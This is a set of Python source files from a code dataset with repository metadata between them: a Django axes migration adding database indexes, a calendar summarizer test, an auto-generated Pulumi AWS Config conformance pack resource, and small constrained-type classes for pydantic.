from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("axes", "0001_initial")] operations = [ migrations.AlterField( model_name="accessattempt", name="ip_address", field=models.GenericIPAddressField( db_index=True, null=True, verbose_name="IP Address" ), ), migrations.AlterField( model_name="accessattempt", name="trusted", field=models.BooleanField(db_index=True, default=False), ), migrations.AlterField( model_name="accessattempt", name="user_agent", field=models.CharField(db_index=True, max_length=255), ), migrations.AlterField( model_name="accessattempt", name="username", field=models.CharField(db_index=True, max_length=255, null=True), ), migrations.AlterField( model_name="accesslog", name="ip_address", field=models.GenericIPAddressField( db_index=True, null=True, verbose_name="IP Address" ), ), migrations.AlterField( model_name="accesslog", name="trusted", field=models.BooleanField(db_index=True, default=False), ), migrations.AlterField( model_name="accesslog", name="user_agent", field=models.CharField(db_index=True, max_length=255), ), migrations.AlterField( model_name="accesslog", name="username", field=models.CharField(db_index=True, max_length=255, null=True), ), ]

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0

9

62e277e6e8be1dc29bec83ab54a7aded5e60861a

1,888

py

Python

tests/summarize_schedules/test_calendar_summarizer.py

yoppinews/yoppinews-schedule-bot

c824fc490b75d037d132615ebe6bedab363290a3

[ "MIT" ]

null

tests/summarize_schedules/test_calendar_summarizer.py

yoppinews/yoppinews-schedule-bot

c824fc490b75d037d132615ebe6bedab363290a3

[ "MIT" ]

1

2019-06-30T14:45:48.000Z

2019-07-01T15:46:34.000Z

tests/summarize_schedules/test_calendar_summarizer.py

yoppinews/yoppinews-schedule-bot

c824fc490b75d037d132615ebe6bedab363290a3

[ "MIT" ]

1

2019-06-29T14:19:35.000Z

import logging import datetime from src.summarize_schedules.calendar_summarizer import GoogleCalendarSummarizer def test_grouping(): s = GoogleCalendarSummarizer({}, datetime.timezone(datetime.timedelta(hours=0)), logging.Logger(name='hoge')) events = [ { 'kind': 'calendar#event', 'etag': '"012345"', 'id': '012345', 'status': 'confirmed', 'htmlLink': 'https://www.google.com/calendar/event?eid=', 'created': '2019-06-17T08:29:15.000Z', 'updated': '2019-06-24T14:51:11.964Z', 'summary': 'summary00:123456789:123456789:123456789:123456789:123456789:123456789:123456789:123456789:', 'description': 'description', 'start': { 'dateTime': '2019-06-25T12:30:00+09:00' }, 'end': { 'dateTime': '2019-06-25T13:30:00+09:00' }, }, { 'kind': 'calendar#event', 'etag': '"012345"', 'id': '012345', 'status': 'confirmed', 'htmlLink': 'https://www.google.com/calendar/event?eid=', 'created': '2019-06-17T08:29:15.000Z', 'updated': '2019-06-24T14:51:11.964Z', 'summary': 'summary00:123456789:123456789:123456789:123456789:123456789:123456789:123456789:123456789:', 'description': 'description', 'start': { 'dateTime': '2019-06-25T12:30:00+09:00' }, 'end': { 'dateTime': '2019-06-25T13:30:00+09:00' }, }, ] res = s._grouping(events, '${summarized_items}') assert len(res) == 2 for i in res: assert len(i) == 1 assert i[0] == '03:30 summary00:123456789:123456789:123456789:' \ '123456789:123456789:123456789:123456789:123456789:'

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0

10

62fbbd54f8228c0a1f5da71596b1c0107b4fdf1b

34,775

py

Python

sdk/python/pulumi_aws/cfg/organization_conformance_pack.py

wgarcia79/pulumi-aws

c63c224734f1d72ba84986a33f36413c9f9cbe27

[ "ECL-2.0", "Apache-2.0" ]

1

2021-11-10T16:33:40.000Z

sdk/python/pulumi_aws/cfg/organization_conformance_pack.py

wgarcia79/pulumi-aws

c63c224734f1d72ba84986a33f36413c9f9cbe27

[ "ECL-2.0", "Apache-2.0" ]

null

sdk/python/pulumi_aws/cfg/organization_conformance_pack.py

wgarcia79/pulumi-aws

c63c224734f1d72ba84986a33f36413c9f9cbe27

[ "ECL-2.0", "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ['OrganizationConformancePackArgs', 'OrganizationConformancePack'] @pulumi.input_type class OrganizationConformancePackArgs: def __init__(__self__, *, delivery_s3_bucket: Optional[pulumi.Input[str]] = None, delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None, excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]] = None, name: Optional[pulumi.Input[str]] = None, template_body: Optional[pulumi.Input[str]] = None, template_s3_uri: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a OrganizationConformancePack resource. :param pulumi.Input[str] delivery_s3_bucket: Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63. :param pulumi.Input[str] delivery_s3_key_prefix: The prefix for the Amazon S3 bucket. Maximum length of 1024. :param pulumi.Input[Sequence[pulumi.Input[str]]] excluded_accounts: Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts. :param pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]] input_parameters: Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`. :param pulumi.Input[str] name: The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens. :param pulumi.Input[str] template_body: A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument. :param pulumi.Input[str] template_s3_uri: Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument. """ if delivery_s3_bucket is not None: pulumi.set(__self__, "delivery_s3_bucket", delivery_s3_bucket) if delivery_s3_key_prefix is not None: pulumi.set(__self__, "delivery_s3_key_prefix", delivery_s3_key_prefix) if excluded_accounts is not None: pulumi.set(__self__, "excluded_accounts", excluded_accounts) if input_parameters is not None: pulumi.set(__self__, "input_parameters", input_parameters) if name is not None: pulumi.set(__self__, "name", name) if template_body is not None: pulumi.set(__self__, "template_body", template_body) if template_s3_uri is not None: pulumi.set(__self__, "template_s3_uri", template_s3_uri) @property @pulumi.getter(name="deliveryS3Bucket") def delivery_s3_bucket(self) -> Optional[pulumi.Input[str]]: """ Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63. """ return pulumi.get(self, "delivery_s3_bucket") @delivery_s3_bucket.setter def delivery_s3_bucket(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "delivery_s3_bucket", value) @property @pulumi.getter(name="deliveryS3KeyPrefix") def delivery_s3_key_prefix(self) -> Optional[pulumi.Input[str]]: """ The prefix for the Amazon S3 bucket. Maximum length of 1024. """ return pulumi.get(self, "delivery_s3_key_prefix") @delivery_s3_key_prefix.setter def delivery_s3_key_prefix(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "delivery_s3_key_prefix", value) @property @pulumi.getter(name="excludedAccounts") def excluded_accounts(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts. """ return pulumi.get(self, "excluded_accounts") @excluded_accounts.setter def excluded_accounts(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "excluded_accounts", value) @property @pulumi.getter(name="inputParameters") def input_parameters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]]: """ Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`. """ return pulumi.get(self, "input_parameters") @input_parameters.setter def input_parameters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]]): pulumi.set(self, "input_parameters", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="templateBody") def template_body(self) -> Optional[pulumi.Input[str]]: """ A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument. """ return pulumi.get(self, "template_body") @template_body.setter def template_body(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "template_body", value) @property @pulumi.getter(name="templateS3Uri") def template_s3_uri(self) -> Optional[pulumi.Input[str]]: """ Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument. """ return pulumi.get(self, "template_s3_uri") @template_s3_uri.setter def template_s3_uri(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "template_s3_uri", value) @pulumi.input_type class _OrganizationConformancePackState: def __init__(__self__, *, arn: Optional[pulumi.Input[str]] = None, delivery_s3_bucket: Optional[pulumi.Input[str]] = None, delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None, excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]] = None, name: Optional[pulumi.Input[str]] = None, template_body: Optional[pulumi.Input[str]] = None, template_s3_uri: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering OrganizationConformancePack resources. :param pulumi.Input[str] arn: Amazon Resource Name (ARN) of the organization conformance pack. :param pulumi.Input[str] delivery_s3_bucket: Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63. :param pulumi.Input[str] delivery_s3_key_prefix: The prefix for the Amazon S3 bucket. Maximum length of 1024. :param pulumi.Input[Sequence[pulumi.Input[str]]] excluded_accounts: Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts. :param pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]] input_parameters: Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`. :param pulumi.Input[str] name: The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens. :param pulumi.Input[str] template_body: A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument. :param pulumi.Input[str] template_s3_uri: Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument. """ if arn is not None: pulumi.set(__self__, "arn", arn) if delivery_s3_bucket is not None: pulumi.set(__self__, "delivery_s3_bucket", delivery_s3_bucket) if delivery_s3_key_prefix is not None: pulumi.set(__self__, "delivery_s3_key_prefix", delivery_s3_key_prefix) if excluded_accounts is not None: pulumi.set(__self__, "excluded_accounts", excluded_accounts) if input_parameters is not None: pulumi.set(__self__, "input_parameters", input_parameters) if name is not None: pulumi.set(__self__, "name", name) if template_body is not None: pulumi.set(__self__, "template_body", template_body) if template_s3_uri is not None: pulumi.set(__self__, "template_s3_uri", template_s3_uri) @property @pulumi.getter def arn(self) -> Optional[pulumi.Input[str]]: """ Amazon Resource Name (ARN) of the organization conformance pack. """ return pulumi.get(self, "arn") @arn.setter def arn(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "arn", value) @property @pulumi.getter(name="deliveryS3Bucket") def delivery_s3_bucket(self) -> Optional[pulumi.Input[str]]: """ Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63. """ return pulumi.get(self, "delivery_s3_bucket") @delivery_s3_bucket.setter def delivery_s3_bucket(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "delivery_s3_bucket", value) @property @pulumi.getter(name="deliveryS3KeyPrefix") def delivery_s3_key_prefix(self) -> Optional[pulumi.Input[str]]: """ The prefix for the Amazon S3 bucket. Maximum length of 1024. """ return pulumi.get(self, "delivery_s3_key_prefix") @delivery_s3_key_prefix.setter def delivery_s3_key_prefix(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "delivery_s3_key_prefix", value) @property @pulumi.getter(name="excludedAccounts") def excluded_accounts(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts. """ return pulumi.get(self, "excluded_accounts") @excluded_accounts.setter def excluded_accounts(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "excluded_accounts", value) @property @pulumi.getter(name="inputParameters") def input_parameters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]]: """ Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`. """ return pulumi.get(self, "input_parameters") @input_parameters.setter def input_parameters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]]): pulumi.set(self, "input_parameters", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="templateBody") def template_body(self) -> Optional[pulumi.Input[str]]: """ A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument. """ return pulumi.get(self, "template_body") @template_body.setter def template_body(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "template_body", value) @property @pulumi.getter(name="templateS3Uri") def template_s3_uri(self) -> Optional[pulumi.Input[str]]: """ Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument. """ return pulumi.get(self, "template_s3_uri") @template_s3_uri.setter def template_s3_uri(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "template_s3_uri", value) class OrganizationConformancePack(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, delivery_s3_bucket: Optional[pulumi.Input[str]] = None, delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None, excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]]] = None, name: Optional[pulumi.Input[str]] = None, template_body: Optional[pulumi.Input[str]] = None, template_s3_uri: Optional[pulumi.Input[str]] = None, __props__=None): """ Manages a Config Organization Conformance Pack. More information can be found in the [Managing Conformance Packs Across all Accounts in Your Organization](https://docs.aws.amazon.com/config/latest/developerguide/conformance-pack-organization-apis.html) and [AWS Config Managed Rules](https://docs.aws.amazon.com/config/latest/developerguide/evaluate-config_use-managed-rules.html) documentation. Example conformance pack templates may be found in the [AWS Config Rules Repository](https://github.com/awslabs/aws-config-rules/tree/master/aws-config-conformance-packs). > **NOTE:** This resource must be created in the Organization master account or a delegated administrator account, and the Organization must have all features enabled. Every Organization account except those configured in the `excluded_accounts` argument must have a Configuration Recorder with proper IAM permissions before the Organization Conformance Pack will successfully create or update. See also the [`cfg.Recorder` resource](https://www.terraform.io/docs/providers/aws/r/config_configuration_recorder.html). ## Example Usage ### Using Template Body ```python import pulumi import pulumi_aws as aws example_organization = aws.organizations.Organization("exampleOrganization", aws_service_access_principals=["config-multiaccountsetup.amazonaws.com"], feature_set="ALL") example_organization_conformance_pack = aws.cfg.OrganizationConformancePack("exampleOrganizationConformancePack", input_parameters=[aws.cfg.OrganizationConformancePackInputParameterArgs( parameter_name="AccessKeysRotatedParameterMaxAccessKeyAge", parameter_value="90", )], template_body=\"\"\"Parameters: AccessKeysRotatedParameterMaxAccessKeyAge: Type: String Resources: IAMPasswordPolicy: Properties: ConfigRuleName: IAMPasswordPolicy Source: Owner: AWS SourceIdentifier: IAM_PASSWORD_POLICY Type: AWS::Config::ConfigRule \"\"\", opts=pulumi.ResourceOptions(depends_on=[ aws_config_configuration_recorder["example"], example_organization, ])) ``` ### Using Template S3 URI ```python import pulumi import pulumi_aws as aws example_organization = aws.organizations.Organization("exampleOrganization", aws_service_access_principals=["config-multiaccountsetup.amazonaws.com"], feature_set="ALL") example_bucket = aws.s3.Bucket("exampleBucket") example_bucket_object = aws.s3.BucketObject("exampleBucketObject", bucket=example_bucket.id, key="example-key", content=\"\"\"Resources: IAMPasswordPolicy: Properties: ConfigRuleName: IAMPasswordPolicy Source: Owner: AWS SourceIdentifier: IAM_PASSWORD_POLICY Type: AWS::Config::ConfigRule \"\"\") example_organization_conformance_pack = aws.cfg.OrganizationConformancePack("exampleOrganizationConformancePack", template_s3_uri=pulumi.Output.all(example_bucket.bucket, example_bucket_object.key).apply(lambda bucket, key: f"s3://{bucket}/{key}"), opts=pulumi.ResourceOptions(depends_on=[ aws_config_configuration_recorder["example"], example_organization, ])) ``` ## Import Config Organization Conformance Packs can be imported using the `name`, e.g., ```sh $ pulumi import aws:cfg/organizationConformancePack:OrganizationConformancePack example example ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] delivery_s3_bucket: Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63. :param pulumi.Input[str] delivery_s3_key_prefix: The prefix for the Amazon S3 bucket. Maximum length of 1024. :param pulumi.Input[Sequence[pulumi.Input[str]]] excluded_accounts: Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]] input_parameters: Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`. :param pulumi.Input[str] name: The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens. :param pulumi.Input[str] template_body: A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument. :param pulumi.Input[str] template_s3_uri: Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument. """ ... @overload def __init__(__self__, resource_name: str, args: Optional[OrganizationConformancePackArgs] = None, opts: Optional[pulumi.ResourceOptions] = None): """ Manages a Config Organization Conformance Pack. More information can be found in the [Managing Conformance Packs Across all Accounts in Your Organization](https://docs.aws.amazon.com/config/latest/developerguide/conformance-pack-organization-apis.html) and [AWS Config Managed Rules](https://docs.aws.amazon.com/config/latest/developerguide/evaluate-config_use-managed-rules.html) documentation. Example conformance pack templates may be found in the [AWS Config Rules Repository](https://github.com/awslabs/aws-config-rules/tree/master/aws-config-conformance-packs). > **NOTE:** This resource must be created in the Organization master account or a delegated administrator account, and the Organization must have all features enabled. Every Organization account except those configured in the `excluded_accounts` argument must have a Configuration Recorder with proper IAM permissions before the Organization Conformance Pack will successfully create or update. See also the [`cfg.Recorder` resource](https://www.terraform.io/docs/providers/aws/r/config_configuration_recorder.html). ## Example Usage ### Using Template Body ```python import pulumi import pulumi_aws as aws example_organization = aws.organizations.Organization("exampleOrganization", aws_service_access_principals=["config-multiaccountsetup.amazonaws.com"], feature_set="ALL") example_organization_conformance_pack = aws.cfg.OrganizationConformancePack("exampleOrganizationConformancePack", input_parameters=[aws.cfg.OrganizationConformancePackInputParameterArgs( parameter_name="AccessKeysRotatedParameterMaxAccessKeyAge", parameter_value="90", )], template_body=\"\"\"Parameters: AccessKeysRotatedParameterMaxAccessKeyAge: Type: String Resources: IAMPasswordPolicy: Properties: ConfigRuleName: IAMPasswordPolicy Source: Owner: AWS SourceIdentifier: IAM_PASSWORD_POLICY Type: AWS::Config::ConfigRule \"\"\", opts=pulumi.ResourceOptions(depends_on=[ aws_config_configuration_recorder["example"], example_organization, ])) ``` ### Using Template S3 URI ```python import pulumi import pulumi_aws as aws example_organization = aws.organizations.Organization("exampleOrganization", aws_service_access_principals=["config-multiaccountsetup.amazonaws.com"], feature_set="ALL") example_bucket = aws.s3.Bucket("exampleBucket") example_bucket_object = aws.s3.BucketObject("exampleBucketObject", bucket=example_bucket.id, key="example-key", content=\"\"\"Resources: IAMPasswordPolicy: Properties: ConfigRuleName: IAMPasswordPolicy Source: Owner: AWS SourceIdentifier: IAM_PASSWORD_POLICY Type: AWS::Config::ConfigRule \"\"\") example_organization_conformance_pack = aws.cfg.OrganizationConformancePack("exampleOrganizationConformancePack", template_s3_uri=pulumi.Output.all(example_bucket.bucket, example_bucket_object.key).apply(lambda bucket, key: f"s3://{bucket}/{key}"), opts=pulumi.ResourceOptions(depends_on=[ aws_config_configuration_recorder["example"], example_organization, ])) ``` ## Import Config Organization Conformance Packs can be imported using the `name`, e.g., ```sh $ pulumi import aws:cfg/organizationConformancePack:OrganizationConformancePack example example ``` :param str resource_name: The name of the resource. :param OrganizationConformancePackArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(OrganizationConformancePackArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, delivery_s3_bucket: Optional[pulumi.Input[str]] = None, delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None, excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]]] = None, name: Optional[pulumi.Input[str]] = None, template_body: Optional[pulumi.Input[str]] = None, template_s3_uri: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = OrganizationConformancePackArgs.__new__(OrganizationConformancePackArgs) __props__.__dict__["delivery_s3_bucket"] = delivery_s3_bucket __props__.__dict__["delivery_s3_key_prefix"] = delivery_s3_key_prefix __props__.__dict__["excluded_accounts"] = excluded_accounts __props__.__dict__["input_parameters"] = input_parameters __props__.__dict__["name"] = name __props__.__dict__["template_body"] = template_body __props__.__dict__["template_s3_uri"] = template_s3_uri __props__.__dict__["arn"] = None super(OrganizationConformancePack, __self__).__init__( 'aws:cfg/organizationConformancePack:OrganizationConformancePack', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, arn: Optional[pulumi.Input[str]] = None, delivery_s3_bucket: Optional[pulumi.Input[str]] = None, delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None, excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]]] = None, name: Optional[pulumi.Input[str]] = None, template_body: Optional[pulumi.Input[str]] = None, template_s3_uri: Optional[pulumi.Input[str]] = None) -> 'OrganizationConformancePack': """ Get an existing OrganizationConformancePack resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] arn: Amazon Resource Name (ARN) of the organization conformance pack. :param pulumi.Input[str] delivery_s3_bucket: Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63. :param pulumi.Input[str] delivery_s3_key_prefix: The prefix for the Amazon S3 bucket. Maximum length of 1024. :param pulumi.Input[Sequence[pulumi.Input[str]]] excluded_accounts: Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['OrganizationConformancePackInputParameterArgs']]]] input_parameters: Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`. :param pulumi.Input[str] name: The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens. :param pulumi.Input[str] template_body: A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument. :param pulumi.Input[str] template_s3_uri: Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _OrganizationConformancePackState.__new__(_OrganizationConformancePackState) __props__.__dict__["arn"] = arn __props__.__dict__["delivery_s3_bucket"] = delivery_s3_bucket __props__.__dict__["delivery_s3_key_prefix"] = delivery_s3_key_prefix __props__.__dict__["excluded_accounts"] = excluded_accounts __props__.__dict__["input_parameters"] = input_parameters __props__.__dict__["name"] = name __props__.__dict__["template_body"] = template_body __props__.__dict__["template_s3_uri"] = template_s3_uri return OrganizationConformancePack(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def arn(self) -> pulumi.Output[str]: """ Amazon Resource Name (ARN) of the organization conformance pack. """ return pulumi.get(self, "arn") @property @pulumi.getter(name="deliveryS3Bucket") def delivery_s3_bucket(self) -> pulumi.Output[Optional[str]]: """ Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63. """ return pulumi.get(self, "delivery_s3_bucket") @property @pulumi.getter(name="deliveryS3KeyPrefix") def delivery_s3_key_prefix(self) -> pulumi.Output[Optional[str]]: """ The prefix for the Amazon S3 bucket. Maximum length of 1024. """ return pulumi.get(self, "delivery_s3_key_prefix") @property @pulumi.getter(name="excludedAccounts") def excluded_accounts(self) -> pulumi.Output[Optional[Sequence[str]]]: """ Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts. """ return pulumi.get(self, "excluded_accounts") @property @pulumi.getter(name="inputParameters") def input_parameters(self) -> pulumi.Output[Optional[Sequence['outputs.OrganizationConformancePackInputParameter']]]: """ Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`. """ return pulumi.get(self, "input_parameters") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens. """ return pulumi.get(self, "name") @property @pulumi.getter(name="templateBody") def template_body(self) -> pulumi.Output[Optional[str]]: """ A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument. """ return pulumi.get(self, "template_body") @property @pulumi.getter(name="templateS3Uri") def template_s3_uri(self) -> pulumi.Output[Optional[str]]: """ Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument. """ return pulumi.get(self, "template_s3_uri")

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0.849894

0.511028

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1

0.16129

false

0.003584

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0.283154

0

null

0

1

0

1

0

null

0

8

1a1a98422eca65eed3ccbc8120c323eebc7ef9c4

1,347

py

Python

wyrd/constrained_types/primitives.py

meadsteve/constrained_types

2a3b87a0b14be70ee2de963acf0eebf302dfe1d9

[ "MIT" ]

1

2021-05-03T08:53:33.000Z

wyrd/constrained_types/primitives.py

meadsteve/constrained_types

2a3b87a0b14be70ee2de963acf0eebf302dfe1d9

[ "MIT" ]

16

2020-10-11T07:46:39.000Z

2020-10-25T13:29:05.000Z

wyrd/constrained_types/primitives.py

meadsteve/constrained_types

2a3b87a0b14be70ee2de963acf0eebf302dfe1d9

[ "MIT" ]

null

from typing import Any, ClassVar, List from .core import Constrained, Constraint from .helpers import validate class ConstrainedInt(int, Constrained[int]): _constraints: ClassVar[List[Constraint]] = [] def __init__(self, value: Any): super(int, self).__init__() self._validate(self) @classmethod def _validate(cls, value): validate(value, cls._constraints) # For integration with pydantic @classmethod def __get_validators__(cls): yield lambda v: cls(v) class ConstrainedString(str, Constrained[str]): _constraints: ClassVar[List[Constraint]] = [] def __init__(self, value: Any): super(str, self).__init__() self._validate(self) @classmethod def _validate(cls, value): validate(value, cls._constraints) # For integration with pydantic @classmethod def __get_validators__(cls): yield lambda v: cls(v) class ConstrainedFloat(float, Constrained[float]): _constraints: ClassVar[List[Constraint]] = [] def __init__(self, value: Any): super(float, self).__init__() self._validate(self) @classmethod def _validate(cls, value): validate(value, cls._constraints) # For integration with pydantic @classmethod def __get_validators__(cls): yield lambda v: cls(v)

24.053571

50

0.668151

147

1,347

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0.056537

0.081272

0.116608

0.753828

0

0.227914

1,347

55

51

24.490909

0.816346

0.066073

0

0.75

0

1

0.25

false

0

0.083333

0

0.5

0

null

0

1

0

1

0

null

0

1

0

7

a7fa6863c4f0ea91236d953f5666f8b038986eba

40,568

py

Python

